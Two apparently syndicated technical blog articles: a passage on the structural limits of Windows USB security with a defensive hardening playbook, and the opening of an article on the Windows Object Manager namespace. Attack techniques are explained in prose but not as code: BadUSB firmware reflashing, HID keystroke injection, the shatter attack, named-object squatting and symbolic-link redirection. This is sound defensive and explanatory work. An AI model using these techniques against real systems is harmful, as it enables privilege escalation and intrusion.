Limit 3: Firmware reprogrammability of commodity USB controllers. Phison, Cypress, Genesys, Realtek, and the rest of the commodity USB-controller market ship field-flashable firmware. The Psychson toolchain demonstrated the Phison PS2251-03 reflash end-to-end and made it reproducible in a researcher's afternoon: "firmware patches have only been tested against PS2251-03 firmware version 1.03.53 ... DriveCom ... EmbedPayload ... Injector" [@psychson-repo]. The O.MG Cable productionized the technique inside a USB-A-to-Lightning cable form factor, proving the attack is now commercial-supply-chain-implantable [@omg-cable]. The host operating system has no view into the controller's firmware, no way to attest it, and no way to reject a peripheral that exposes a different identity post-flash than it did pre-flash.

Limit 4: Kernel DMA Protection is opt-in at three layers. Silicon (the platform must have an IOMMU), firmware (the UEFI must publish DMAR / IVRS tables), and driver (the driver must declare DmaRemappingCompatible=1 in its INF) [@ms-kdp] [@ms-dmaremap]. Many post-2019 OEM platforms ship with the firmware toggle off in BIOS. Worse, the Thunderclap research demonstrated that even on IOMMU-enabled systems, shared IOMMU contexts between a peripheral and a kernel driver are a viable attack vector [@ndss-thunderclap]. KDP also has no view at all of USB 2.0/3.x mass storage or HID, which do not perform DMA.

Windows only uses the IOMMU in limited cases and remains vulnerable. -- Markettos, Rothwell, Gutstein, Pearce, Neumann, Moore, and Watson, *Thunderclap*, NDSS 2019 [@ndss-thunderclap]

Limit 5: The descriptor parser is C code in the kernel. usbhub3.sys and usbccgp.sys are partially undocumented, are closed-source, and parse adversarial input in a memory-unsafe language.Microsoft has not published the source for usbhub3.sys or usbccgp.sys; the architectural descriptions on Microsoft Learn describe the externally visible behavior of these drivers, not their internal parsing routines or memory-safety properties. Any claim about their specific implementation must be hedged accordingly. The conclusion that they parse adversarial input in C is inferred from the Windows-kernel codebase's language conventions and from the public record of descriptor-parser CVEs over the last fifteen years. Andy Davis named the surface in 2011 [@ncc-davis-2011], and Google's syzkaller-USB program -- a public-record proxy for the wider community's descriptor-parser fuzzing effort -- has been producing kernel-side descriptor-parser bugs across host operating systems since 2017 [@syzkaller-usb]. Until the parser is rewritten in a memory-safe language, this is finite-but-non-zero kernel-mode attack surface. Linux's usbcore has ongoing Rust experiments under the upstream Rust-for-Linux project [@rust-for-linux]; Windows has not publicly committed to a similar rewrite.

Note: None of these five limits is a Windows bug. The descriptor-trust gap is in USB. The HID-class trust gap is in the HID class definition. The firmware-reprogrammability gap is in commodity controller silicon. The KDP gap is in the layered opt-in posture of IOMMU-on-platform DMA isolation. The C-in-the-kernel gap is the price of Windows's compatibility-first kernel-driver model. Closing any one of them on the Windows side, in isolation, would either break the USB device market (limits 1-3), require commodity-silicon redesign (limit 3 again), or require a multi-year rewrite the engineering organization has not committed to (limit 5).

Key idea: The USB attack surface on Windows is the price Windows pays for being USB-compatible. Five named gaps. Zero of them are bugs. Each is a structural cost of inheriting a 1996 protocol contract written when peripheral firmware was not field-flashable and the descriptor-trust assumption was at least defensible. In 2026 the assumption is indefensible and the contract is everywhere. The defense Windows ships is the best layered mitigation anyone has built around the gap; it does not close the gap.

9. Open Problems

If the limits are structural, the open problems are sociological: who adopts the standard that already exists, who funds the rewrite that nobody has shipped, who builds the heuristic that no production OS has.

USB-IF Authentication 2.0 / 3.0 uptake. The standard exists as a January 2019 ECN [@usbif-auth-spec]. Device-vendor uptake is near zero outside specialized industries (automotive, medical). Windows has no in-box consumer. The blocker is not cryptographic feasibility -- ECDSA P-256 over SHA-256 with X.509 chains is everyday code -- it is two-sided market adoption: peripheral vendors will not ship the silicon until host operating systems consume it; host operating systems will not consume it until enough peripherals ship it. Someone in the duopoly of major host-OS shipping has to commit first. As of mid-2026 no one has. Current best partial result: the same ECDSA-plus-X.509 attestation pattern has been deployed at scale in adjacent ecosystems -- Apple's Find My accessory-attestation network and the automotive / medical USB-Authentication-mandatory tiers -- demonstrating that the cryptographic primitive itself is silicon-shippable; what remains is OS-side consumption.

HID re-enumeration detection. A thumb drive that mounts as Mass Storage, presents a benign-looking volume for a few seconds, and then re-enumerates as a composite device that adds a HID keyboard interface is the BadUSB signature [@srlabs-badusb-pdf]. No production host operating system detects this generically. A reasonable heuristic -- that a freshly enumerated device which changes its declared composition in the first fifteen seconds is suspicious -- is not in any Microsoft Defender for Endpoint hunting query as a shipped detection, only as a custom Defender XDR query an enterprise can compose itself. The heuristic is this article's own proposal, not a published primary source. Current best partial result: mature Microsoft Defender Experts customers are already deploying custom Defender XDR hunting queries that key on the post-attach composition-change pattern (typically joined against the BadUSB 200 ms keystroke-burst signature in §10.4); the detection exists in mature managed-detection-and-response practices but has not landed as a default rule in any shipping product.

USB-C Alternate Mode trust. DisplayPort Alt Mode, Thunderbolt Alt Mode, and USB4-tunneled PCIe each cross OS / firmware / silicon boundaries inside a single physical connector. The display-side firmware attack surface, the Power Delivery contract negotiation, and the "fast charge negotiation opens a data path" primitive that has emerged in commodity fast-charging hardware are all under-explored. Microsoft's Type-C UCM stack [@ms-typec] documents the connector-manager class extensions but does not (and cannot) verify the firmware behind the alt-mode peer. Current best partial result: the UCM UcmCx / UcmUcsiCx / UcmTcpciCx class-extension family ships in every Windows 11 SKU and gives the OS a uniform connector-state view it did not have before 2016 -- the partial mitigation is the architectural plumbing, not yet a firmware-attestation policy on top of it.

Supply-chain attacks on USB controller chips. The O.MG Cable shows that BadUSB is now manufacturing-implantable [@omg-cable]; the FBI's 2020 and 2022 FIN7 advisories show organized cybercriminal actors mailing the same primitive [@bleeping-fin7]. Hardware bill-of-materials attestation, Microsoft Defender for IoT inventory, and supply-chain risk-management frameworks (NIST SP 800-161 in the United States [@nist-sp-800-161]) are nascent on the consumer side and uneven on the enterprise side. Nothing on the consumer Windows endpoint defends the user from a cable that looks like a real cable. Current best partial result: the deployable enterprise stack is USB-IF Authentication 1.0 in the small set of authentication-capable peripherals [@usbif-auth-spec], plus Microsoft Defender for IoT device-inventory telemetry, plus per-organisation bring-your-own-cable allow-list policy primitives in Defender for Endpoint Device Control [@ms-devcontrol] -- a layered stack rather than a single defence.

Open-source memory-safe descriptor parser. Linux's usbcore has ongoing Rust experiments under the upstream Rust-for-Linux project [@rust-for-linux]; Microsoft has not committed to a similar rewrite. The bug-volume reduction from rewriting usbhub3.sys and usbccgp.sys in a memory-safe language would, on the basis of the public CVE record, dwarf any single mitigation in the article. The blocker is engineering scope, not technical feasibility. Current best partial result: the syzkaller-USB program has produced a continuously growing tally of kernel-side descriptor-parser bugs across host operating systems since 2017 [@syzkaller-usb], proving the attack surface is empirically large; the upstream Rust-for-Linux USB driver experiments are the only public evidence that a memory-safe rewrite of a production USB stack is practical at scale.

Note: "Vendor adoption" sounds like a feature-request line item rather than an open research problem. It is structural. Until a host OS commits silicon-supply-chain weight to USB-IF Authentication, the standards body has no influence on the peripheral vendors; until the peripheral vendors ship Authentication-capable silicon, the host OS sees no installed base to support. Solving the two-sided-market problem is the open problem -- not the cryptography.

The shortest path to closing the descriptor-trust gap runs through silicon (USB-IF Authentication), not through Windows. Until then, every defense in this article is layered around the gap, not on top of it.

10. A 2026 USB-Security Playbook for Windows IT

We have done the structural accounting. The reader who got this far is either a Windows internals engineer who wants the exact stack picture or an IT operator who needs to deploy something on Monday. The next four sub-sections are for that operator.

For end users

Do not plug in cables you did not buy. Do not use public USB charging stations. Brian Krebs reported the original juice-jacking demonstration verbatim in August 2011: "In the three and a half days of this year's DefCon, at least 360 attendees plugged their smartphones into the charging kiosk built by the same guys who run the infamous Wall of Sheep ... Brian Markus, president of Aires Security, said he and fellow researchers Joseph Mlodzianowski and Robert Rowley built the charging kiosk to educate attendees about the potential perils of juicing up at random power stations" [@krebs-juicejacking]. CISA's 2023 juice-jacking advisory and the FBI Denver Field Office's April 6, 2023 X.com warning trace their evidence base to the Aires Security demonstration and its lineage [@wiki-juicejacking]. If you must charge in public, use a USB data-blocker dongle (a passive accessory that breaks the data pins and passes only power).

For IT admins on Windows 11 Enterprise

Note: A minimal Windows 11 Enterprise USB-hardening baseline, in priority order: 1. Enable Kernel DMA Protection. Verify msinfo32 shows "Kernel DMA Protection: On". On firmware where the toggle is off, work with the OEM to turn it on in BIOS. Documentation: [@ms-kdp]. 2. Enable the ASR USB rule. Set GUID b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4 to Block via Intune or Group Policy. Verify with (Get-MpPreference).AttackSurfaceReductionRules_Ids. Documentation: [@ms-asr-rules]. 3. Configure Defender for Endpoint Device Control. Default-deny Mass Storage. Allow corporate HID by VID/PID/serial allow-list. Documentation: [@ms-devcontrol]. 4. Configure BitLocker To Go. Group Policy: Deny write access to removable drives not protected by BitLocker. Documentation: [@ms-bitlocker]. 5. Configure GPO Device Installation Restrictions. Use AllowedDeviceClasses with explicit USB / HID setup-class GUIDs to constrain which device classes can be installed in the first place. Documentation: [@ms-gpo-devinstall] [@ms-devsetupclasses]. 6. Audit USB device installation. Pull Event ID 6416 (PnP device installed) into your SIEM. Compose a Defender XDR hunting query for rapid-keystroke bursts in the first 15 seconds after a USB attach as a BadUSB / FIN7-style HID-injection signature [@bleeping-fin7].

*Not capable* means one of three things: the platform lacks an IOMMU (Intel VT-d or AMD-Vi disabled in firmware), the UEFI is not publishing the DMAR / IVRS ACPI tables, or no DMA-Remapping-compatible driver is loaded for at least one externally exposed peripheral. First check `Intel VT-d` or `AMD IOMMU` in the BIOS setup screen and enable them. If they are already on, confirm in `msinfo32` that *DMA Protection: ACPI* is *On* (the firmware-tables check). If the firmware is on and KDP still says *Not capable*, the per-driver opt-in path is the gap: open Device Manager and look at the *Hardware ID* tab of each Thunderbolt or USB4 peripheral; a driver without the `DmaRemappingCompatible=1` directive in its INF will not be IOMMU-isolated and downgrades the system-wide posture. The Microsoft Learn reference walks through the per-driver opt-in [@ms-dmaremap].

For driver developers

Declare DmaRemappingCompatible=1 in your INF if your hardware tolerates IOMMU isolation; this is a one-line directive change with a system-wide security posture improvement [@ms-dmaremap]. Prefer the WDF USB Lower / Upper filter pattern over legacy WDM; the framework's lifecycle and PnP plumbing are correct by construction in ways that legacy WDM code is not [@ms-usb-3-0-stack]. Validate every descriptor byte in user-mode tooling before relying on usbhub3.sys to do so; if your device cannot survive its own validator, the descriptor parser surface is wider than it needs to be. If you are writing a vendor-specific function driver, prefer winusb.sys over a custom KMDF function driver where possible [@ms-winusb]; less kernel-mode code is unambiguously better.

For red team and blue team

The reproducible test devices are USB Rubber Ducky II + DuckyScript 3.0 [@hak5-shop-ducky] [@hak5-ducky-docs] and the O.MG Cable [@omg-cable]. For inspection, usbview.exe from the Windows SDK reads live descriptor trees out of usbhub3.sys and is the closest thing Windows has to a USB-side lsusb -v. For trace evidence, the ETW providers Microsoft-Windows-USB-USBHUB3 and Microsoft-Windows-USB-USBPORT (older stack) carry enumeration sequences with per-stage timing, documented end-to-end in Microsoft's USB Event Tracing for Windows reference [@ms-usb-etw]; wireshark + USBPcap reads the raw descriptor bytes if the kernel-side capture is permitted. For blue-team detection, the BadUSB signature is "first observed time-since-attach to first keystroke event is less than 200 ms"; legitimate human-driven keyboards do not type at that rate.

The playbook is layered defense. None of these controls closes the descriptor-trust gap; together they raise the cost enough that the BadUSB-class attacks the article opens with become attacker-uneconomical in a corporate context. The structural problem is still open.

11. Frequently Asked Questions

The reader has the model. These are the seven misconceptions the model corrects.

No. BitLocker To Go protects *the data on the stick* if you lose it. A reprogrammed thumb drive that re-enumerates as a HID keyboard is unaffected because BitLocker never sees it as a managed volume in the first place [@ms-bitlocker]. BitLocker is a confidentiality control for data at rest on a removable volume; the malicious-peripheral problem is a problem of *peripheral authentication*, which BitLocker is not in the threat model of. No. KDP blocks pre-login DMA from PCIe-class peripherals tunneled over Thunderbolt 3, Thunderbolt 4, or USB4 [@ms-kdp]. A USB 2.0 thumb drive performs no DMA at all, so KDP is not in its defense chain. KDP is a defense against a different attack class than BadUSB. They are complementary, not substitutable. No. Driver signing certifies that Microsoft (or a paid-up OEM signed under Microsoft's signing infrastructure) approved the driver *code* [@ms-kmcs] [@ms-drvsigning]. It does not certify the *descriptors* the driver consumes at runtime. The signed `hidclass.sys` will load happily and inject keystrokes for any HID-class device whose descriptor declares it to be a keyboard, including a reprogrammed thumb drive. KMCS is a defense of the kernel against malicious drivers, not a defense of the kernel against malicious peripherals presenting valid descriptors to honest drivers. The Aside in Section 5 walks this point in detail. No, it closed one vector. The 2011 KB971029-equivalent rollout disabled `autorun.inf`-driven AutoPlay execution by default [@krebs-feb2011] [@wiki-autorun]. That vector was the load-bearing one for the Conficker era. It did not affect HID injection (which Hak5 had already commercialized in 2010), it did not affect descriptor-parser bugs (which Andy Davis named at Black Hat 2011 [@ncc-davis-2011]), and it did not affect the LNK-icon attack class (which the same Patch Tuesday addressed separately [@nvd-cve-2010-2568]). Each closed vector was a single-bug closure that left adjacent vectors intact. Real. The cable is commercially available; the firmware is technically documented in the product's own materials [@omg-cable]; the same primitive (a USB cable with a WiFi-enabled implant) is now in the FBI's threat reporting on FIN7 mailed-USB campaigns [@bleeping-fin7]. On a stock Windows 11 25H2 endpoint, the O.MG Cable's HID-injection primitive works exactly as advertised unless explicit Microsoft Defender for Endpoint Device Control policy blocks the HID class for that VID/PID/serial [@ms-devcontrol]. It is not a movie trope. Not yet, and not by itself. The USB-IF Authentication Specification Revision 1.0 ECN dates from January 7, 2019 [@usbif-auth-spec]. The standard defines ECDSA P-256 over SHA-256 with X.509 chains -- everyday cryptography. The structural problem is two-sided market adoption: no host operating system (Windows, macOS, Linux, ChromeOS) consumes the standard in-box in 2026, and no major device-certification tier requires it. Until that loop closes, the standard's existence is necessary but not sufficient. Mostly, with significant cost. Disabling USB controllers at firmware time blocks every USB attack class because no descriptors are ever parsed. It also blocks every keyboard, every mouse, every security token, every licensed peripheral, every biometric reader, every printer that does not speak network protocols, and every legitimate file transfer onto and off of the endpoint. The cost is usually higher than the threat for general-purpose business endpoints, but the trade-off is a legitimate one for tightly scoped roles like air-gapped industrial-control workstations.

Plugging in a USB device is the single most-trusted action a user routinely performs on a Windows machine. Windows has done forty years of work to walk that trust back -- bit by bit, single-bug closure by single-bug closure, generation by generation. Some of that work is silicon-level (Kernel DMA Protection over IOMMU). Some of it is kernel-level (Kernel-Mode Code Signing chained to a Microsoft-trusted root). Some of it is application-level (Attack Surface Reduction, Device Control, AutoRun disablement, BitLocker To Go). None of it -- not one of the ten generations the article walks -- has touched the descriptor-trust premise itself. A peripheral's self-declared identity is still its identity at enumeration time, in 2026 as in 1996.

The next breakthrough on this stack will not come from Windows. It will come from USB-IF Authentication finally shipping in commodity peripheral silicon, and a host operating system committing to consume it in-box. That shipment has now been seven years away for seven years. When it arrives -- if it arrives -- the descriptor-trust gap closes, the BadUSB primitive becomes detectable in the bus enumeration handshake, and the eleven kernel-mode operations that begin at 10:42:17 each morning finally consult something the peripheral cannot fake. Until then, the gap is the gap, and the layered mitigations Windows ships are what stand between a Phison microcontroller and your domain administrator credentials.

The Object Manager Namespace: The Hierarchical Filesystem Underneath Every Windows Security Boundary

noreply@paragmali.com (Parag Mali) — Mon, 11 May 2026 00:00:00 GMT

**The Windows Object Manager namespace is the kernel-resident, filesystem-shaped tree that every Windows security boundary quietly assumes.** Every named kernel object -- processes, threads, sections, files, registry keys, tokens, mutants, semaphores, ALPC ports, devices, drivers, jobs, silos -- lives somewhere under `\`. Six generations of isolation primitives (Session 0 isolation, AppContainer lowbox, integrity levels, VBS trustlets, Server Silos, and the `ObRegisterCallbacks` EDR sensor surface) are all path rewrites, per-directory ACLs, or kernel callbacks layered on the same 1993 Cutler-era four-piece structure. This article builds the namespace bottom-up -- `OBJECT_HEADER`, `OBJECT_TYPE`, `ParseProcedure`, `OBJECT_DIRECTORY` -- walks the 2026 top-level directory atlas on Windows 11 25H2, surveys the exploit tradition (symbolic-link redirection, namespace squatting, bait-and-switch on `\??` and `\Device`, arbitrary directory creation), and closes on the EDR pivot in `ObRegisterCallbacks`.

1. The path that isn't a path

Open WinObj.exe as administrator on any Windows 11 25H2 machine (Windows 11 version history). For about ten seconds the screen looks like a filesystem. The root is named \. Below it sit folders called \Device, \BaseNamedObjects, \Sessions, \RPC Control, \KnownDlls, and \ObjectTypes. Double-click any of them and you see children. Right-click any node and you can read a security descriptor. This is essentially the same UI a 1996 SysAdmin would have recognised; the tool first shipped that year as part of Mark Russinovich and Bryce Cogswell's Winternals [@en-wikipedia-mark-russinovich], and the current build is a Microsoft-signed Sysinternals binary whose navigation surface has not been redesigned in three decades [@ms-winobj].

Navigate to \Sessions\1\AppContainerNamedObjects and the picture starts to fracture. Inside that directory you will find one subdirectory per running AppContainer-sandboxed app, each named after a long Security Identifier of the form S-1-15-2-.... Pick the one belonging to the Microsoft Edge renderer process you are reading this article in. Every named mutant, event, section, semaphore, and ALPC port the renderer can ever name lives inside that one subdirectory. The renderer cannot escape it. Not because of a permission check that comes second, but because the kernel rewrites every name the renderer asks for, transparently, before path resolution begins. Microsoft's AppContainer Isolation documentation [@ms-appcontainer-isolation] calls this "sandboxing the application kernel objects."

This tree is not a filesystem. There is no disk persistence; nothing under \ survives a reboot. It is not the Windows registry either; the registry is a separate subsystem with its own hive format that hangs off the namespace only through a parse procedure on the Key object type. What this tree is, instead, is the Object Manager namespace: the in-memory, kernel-resident, hierarchical name service that the Windows kernel uses to locate every nameable kernel object [@ms-managing-kernel-objects]. Its top-level directories are catalogued in the driver kit's Object Directories reference [@ms-object-directories].

The Windows Object Manager, internally called `Ob`, is a kernel-mode subsystem of the Windows Executive that manages the lifetime, naming, security, and accounting of every resource the kernel exposes to user mode as a named object. Wikipedia summarises it as a "subsystem implemented as part of the Windows Executive which manages Windows resources... each [resource] reside[s] in a namespace for categorization" [@en-wikipedia-object-manager].

Here is the thesis the rest of this article spends nine thousand words unpacking. Every Windows security boundary you have read about -- Session 0 isolation, Mandatory Integrity Control, AppContainer, the Virtualization-Based Security trustlets, Server Silos and Windows containers, the EDR sensor surface that fires when something opens a handle to lsass.exe -- is physically realised in this tree. Each boundary is either a path rewrite at lookup time, a per-directory ACL, a token-keyed name substitution, or a kernel callback registered against an OBJECT_TYPE. The boundaries you read about elsewhere are the policies; this tree is the mechanism.

The Object Manager has shipped without architectural change for thirty-three years. Whose decision was that? And why did a 1993 data structure survive untouched while the GUI, the driver model, the security subsystem, and the boot path around it were rewritten more than once?

2. Where the namespace came from

The decision belongs to Dave Cutler. In 1988 Microsoft hired Cutler away from Digital Equipment Corporation. The Wikipedia biography records the line of operating systems Cutler had developed at DEC: "RSX-11M, VAXELN, VMS, and MICA" [@en-wikipedia-dave-cutler]. Three of those shipped commercially; the fourth, MICA, was cancelled with the Prism RISC program. Cutler walked out, and Microsoft signed him with a charter from Bill Gates to build a portable next-generation kernel that could host the existing Windows API on top of a 32-bit, multi-architecture base [@en-wikipedia-architecture-of-windows-nt]. Cutler brought a small team of DEC veterans with him.

The Object Manager is one of that team's earliest design decisions. The architectural bet was to unify every named kernel object under one filesystem-shaped tree, with each type carrying a parse procedure so a single family of syscalls (NtCreateFile, NtOpenSection, NtOpenProcess, and so on) could address files, registry keys, processes, ports, sections, drivers, devices, jobs, and synchronization primitives using the same path-walk algorithm. That was an unusual choice in 1989. VMS had a more typed, less unified resource broker. Mach treated kernel objects as capability-style port rights and never gave them a hierarchical name. Cutler's choice was, at heart, a Plan-9-style "every named resource is a filesystem path" idea, imported into a Windows shell.Plan 9 from Bell Labs (Pike, Thompson, et al.) was the academic articulation of the "everything is a path" property: every kernel-named resource, including processes and network connections, surfaced as a file under a 9P-served namespace. Plan 9 never reached commercial scale, but its design idea reached production through NT, and through Linux's /proc, /sys, and FUSE.

Windows NT 3.1 shipped on July 27, 1993. It was "Microsoft's first 32-bit operating system," supported on IA-32, DEC Alpha, and MIPS [@en-wikipedia-windows-nt-3-1]. The Object Manager was already one of its executive subsystems, sitting alongside the I/O Manager, the Memory Manager, the Process Manager, the Security Reference Monitor, and the Local Procedure Call subsystem [@en-wikipedia-architecture-of-windows-nt]. The four pieces this article will rebuild from scratch -- the OBJECT_HEADER that prefixes every object in memory, the OBJECT_TYPE singleton that owns each type's method table, the ParseProcedure that delegates path resolution to the owning subsystem, and the OBJECT_DIRECTORY hash table that maps names to objects -- were all in the NT 3.1 kernel. None of them has been rearchitected since.

That same year, Microsoft Press published Inside Windows NT, written by technical writer Helen Custer with a Foreword by Cutler himself. The book's Object Manager chapter is the canonical pre-2000 description of the namespace, cited on the Sysinternals WinObj page [@ms-winobj] as "Helen Custer's Inside Windows NT provides a good overview of the Object Manager namespace." Custer's book has been out of print for two decades, but the citation chain through Russinovich's tool is durable.

Three years later, in 1996, Russinovich and Cogswell co-founded Winternals and released WinObj 1.0 [@en-wikipedia-mark-russinovich]. WinObj was the first publicly distributed tool to walk \ from user mode, using the native NtOpenDirectoryObject and NtQueryDirectoryObject syscalls that the Object Manager exposed through NTDLL [@ms-winobj]. The following year, Russinovich's October 1997 Windows IT Pro column "Inside the Object Manager" gave the namespace its first treatment in the trade press. The original URL did not survive changes to TechTarget's web property portfolio in 2025 (TechTarget was acquired by Informa PLC in 2025), but the WinObj page still cites the column by name as "Mark's October 1997 [WindowsITPro Magazine] column, 'Inside the Object Manager'."The Russinovich 1997 column has no surviving direct URL because the URL did not survive changes to TechTarget's web property portfolio in 2025. The most accessible surviving citation is through the WinObj page itself. The same archive failure also explains why Helen Custer's 1993 biography returns HTTP 404 on Wikipedia in 2026; the book (ISBN 1-55615-481-X) survives in used-book channels only.

The line of book-length internals references that began with Custer continued through Inside Windows 2000 (third edition) and the Windows Internals series that succeeded it. The 7th edition Part 1 was published by Microsoft Press in May 2017, authored by Russinovich, Alex Ionescu, and David A. Solomon [@microsoftpressstore-wininternals7-part1]; its Chapter 8 is the current canonical reference for the Object Manager. James Forshaw's April 2024 Windows Security Internals [@nostarch-windows-security-internals] is the contemporary companion that ties the namespace into the access-check pipeline.

The 1993 design assumed a single global namespace. One process tree, one \BaseNamedObjects, one \Windows\WindowStations\WinSta0, one \?? view of DOS device letters. Everyone shared everything. Did that assumption survive the Internet?

3. The pre-Vista namespace and how it broke

It did not. By the late 1990s every interactive Windows user was sharing a name service with every running service. The single-global-namespace assumption produced three distinct exploit classes, each rediscovered repeatedly between 1996 and 2007, and each ultimately closed only by architectural change.

The most public failure was the shatter attack. In August 2002 a researcher named Chris Paget published a paper titled "Exploiting design flaws in the Win32 API for privilege escalation." Wikipedia's article on the disclosure preserves the chronology: "Shatter attacks became a topic of intense conversation in the security community in August 2002 after the publication of Chris Paget's paper" [@en-wikipedia-shatter-attack]. The proof-of-concept was about thirty lines. As an unprivileged interactive user, Paget sent a WM_TIMER window message to a service's hidden window in the same \Windows\WindowStations\WinSta0 (which all services and all interactive users shared in pre-Vista Windows), with a callback parameter pointing to attacker-placed shellcode. The shellcode ran as SYSTEM.

Microsoft's initial response, preserved in the Wikipedia article, was that "the flaw lies in the specific, highly privileged service": a per-service bug, patch the services. That stance did not survive the structural-class argument. The exploit was not a bug in one service. It was a property of the namespace: as long as services and users shared a window station and a \BaseNamedObjects, any service that ever called a Windows API processing a message from its message queue was reachable from any logged-in user.

Note: A second class of pre-Vista failure was named-object squatting. A low-privilege user pre-creates \BaseNamedObjects\Some_Global_Event with a permissive DACL. A privileged service later calls CreateEvent("Some_Global_Event") with default open-or-create semantics and ends up inheriting the squatter's object, security descriptor and all. This is not one service-author's bug; it is the consequence of every service-author trusting that names in a shared namespace would resolve to objects they themselves created. The pattern has been rediscovered approximately once a year for two decades. James Forshaw documents the contemporary named-pipe analog in his 2017 "Named Pipe Secure Prefixes" post [@tiraniddo-named-pipe-secure-prefixes], where the SMSS-created prefixes \Device\NamedPipe\ProtectedPrefix\Administrators, \Device\NamedPipe\ProtectedPrefix\LocalService, and \Device\NamedPipe\ProtectedPrefix\NetworkService are TCB-privilege-gated -- only smss.exe can create sibling protected prefixes, so a service that publishes its pipe below one of these prefixes inherits a DACL that low-privilege squatters cannot reach.

The third class was symbolic-link redirection. The pre-Vista Object Manager exposed two kinds of user-creatable symbolic link: object-manager symbolic links inside \?? (the per-session DOS-devices view) and NTFS mount points on disk. The attack pattern was the same in both. A privileged process is asked to open a path the user controls part of. The user has pre-planted a symbolic link partway through the path that redirects the residual walk into a target the user could not otherwise write. The privileged process opens the redirected file and treats it as if it were the original.

Forshaw's 2015 Project Zero post on the symbolic-link hardening generation is the canonical taxonomy: "There are three types of symbolic links you can access from a low privileged user, Object Manager Symbolic Links, Registry Key Symbolic Links and NTFS Mount Points" [@p0-symlink-mitigations]. His worked example for the Internet Explorer 11 EPM sandbox is CVE-2015-0055 [@nvd-cve-2015-0055], described in the post as "an information disclosure issue in the IE EPM sandbox which abused symbolic links to bypass a security check."

The aha moment from this section is the one Microsoft eventually conceded. The pre-Vista failure mode was not three independent bug families. It was one structural problem -- a single global namespace shared by every principal -- with three faces. No amount of per-service patching could close it. The fix had to be architectural: the namespace itself had to be partitioned.The Interactive Services Detection Service (ISDS) was Vista's backward-compatibility hack for legacy services that drew GUIs into Session 0. ISDS displayed a "An interactive service has requested attention" prompt that let the user switch to Session 0 long enough to dismiss the dialog. It was deprecated in Windows 10 1803 and is the historical artifact of just how much pre-Vista code assumed services and users would share a window station.

That fix took five years to ship. Windows Vista RTM was released on November 8, 2006 and General Availability arrived on January 30, 2007 [@en-wikipedia-windows-vista]. Vista did not ship one fix; it shipped three independent partition mechanisms in the same release window, because the structural failure had three faces and each face needed its own mechanism. The next section catalogues those mechanisms and the four additional generations of additive isolation that have built on them since.

4. Six generations of namespace isolation

The namespace itself has not been rearchitected since 1993. What has evolved, in six discrete generations between 1993 and 2026, is the set of partition primitives layered on top: the mechanisms that let the kernel hide subtrees from particular callers, rewrite paths transparently for particular tokens, or invoke a registered watcher when a particular handle is created. Each generation closes a structural class. None has rendered its predecessor obsolete. On 2026 Windows 11 25H2 all six are simultaneously load-bearing.

flowchart LR G1["Gen 1
NT 3.1, Jul 1993
Single global namespace"] --> G2 G2["Gen 2
Vista, Jan 2007 / SP1, Feb 2008
Session 0 + MIC + ObRegisterCallbacks"] --> G3 G3["Gen 3
Windows 8, Oct 2012
AppContainer / Lowbox / per-package directory"] --> G4 G4["Gen 4
Windows 10 RTM, Jul 2015
VBS / IUM secure-kernel namespace"] --> G5 G5["Gen 5
Windows Server 2016, Oct 2016
Server Silos / silo-scoped views"] --> G6 G6["Gen 6
MS15-090, Aug 2015 ->
symbolic-link class hardening"]

Generation numbering is thematic (by isolation capability introduced) rather than strictly chronological. Gen 6 (MS15-090, August 11, 2015) predates Gen 5 (Windows Server 2016, October 12, 2016) by 14 months; the numbering reflects the logical layering of isolation mechanisms, not their calendar sequence.

4.1 Generation 2 -- Session 0 isolation, integrity levels, ObRegisterCallbacks

Vista shipped three mechanisms in one release window because the structural failure had three faces.

The first was Session 0 isolation. From Vista forward, services run in Session 0 alone; the first interactive logon starts at Session 1. Each session gets its own subtree at \Sessions\<n>\BaseNamedObjects, \Sessions\<n>\Windows\WindowStations, and \Sessions\<n>\DosDevices. The Win32 Local\ prefix routes through kernel32!BaseGetNamedObjectDirectory into the per-session BNO; Global\ routes into the shared \BaseNamedObjects [@ms-termserv-kernel-object-namespaces]. The Wikipedia Shatter article preserves the architectural fix verbatim: "Local user logins were moved from Session 0 to Session 1, thus separating the user's processes from system services that could be vulnerable" [@en-wikipedia-shatter-attack]. After Vista an interactive user could no longer SendMessage(WM_TIMER) into a service's hidden window because the user and the service no longer shared a window station.

The second mechanism was Mandatory Integrity Control. Vista introduced a new ACE type, SYSTEM_MANDATORY_LABEL_ACE, attached to every object's security descriptor. Each token carries one of four integrity levels (Low S-1-16-4096, Medium S-1-16-8192, High S-1-16-12288, or System S-1-16-16384), and the Security Reference Monitor compares the requester's level against the object's level after path resolution succeeds [@en-wikipedia-mandatory-integrity-control]. MIC is not a namespace partition. A Low-IL process and a Medium-IL process resolve the same \BaseNamedObjects directory; only the open is denied at the leaf. The structural property MIC adds is that the leaf check is unbypassable from user mode; the check fires regardless of which DACL the object carries.

The third mechanism was ObRegisterCallbacks. Microsoft's wdm.h documentation records the API's first ship date verbatim: "Available starting with Windows Vista with Service Pack 1 (SP1) and Windows Server 2008" [@ms-obregistercallbacks]. The API lets a KMCS-signed driver intercept handle creation and handle duplication on PsProcessType, PsThreadType, and the desktop object type. The registration carries an Altitude (a FltMgr-style collision key) and an array of OB_OPERATION_REGISTRATION records [@ms-ob-callback-registration]. Pre-operation callbacks can strip access-mask bits before the handle is granted; post-operation callbacks fire for logging. The parallel API PsSetCreateProcessNotifyRoutineEx [@ms-pssetcreateprocessnotifyroutineex] covers process creation. Together, these are the kernel-mode primitives every modern EDR product depends on; they ship inside the Object Manager itself and they are the reason an EDR knows when something opens a handle to lsass.exe.

4.2 Generation 3 -- AppContainer and the lowbox token

Windows 8 shipped on October 26, 2012 [@en-wikipedia-windows-8]. Modern / UWP apps downloaded from the Microsoft Store needed a sandbox finer-grained than per-session BNO. The Vista path rewriting in kernel32!BaseGetNamedObjectDirectory happened in user mode, which made it the wrong layer for a sandbox: a hostile renderer could in principle bypass the user-mode rewrite. The new layer moved into the kernel.

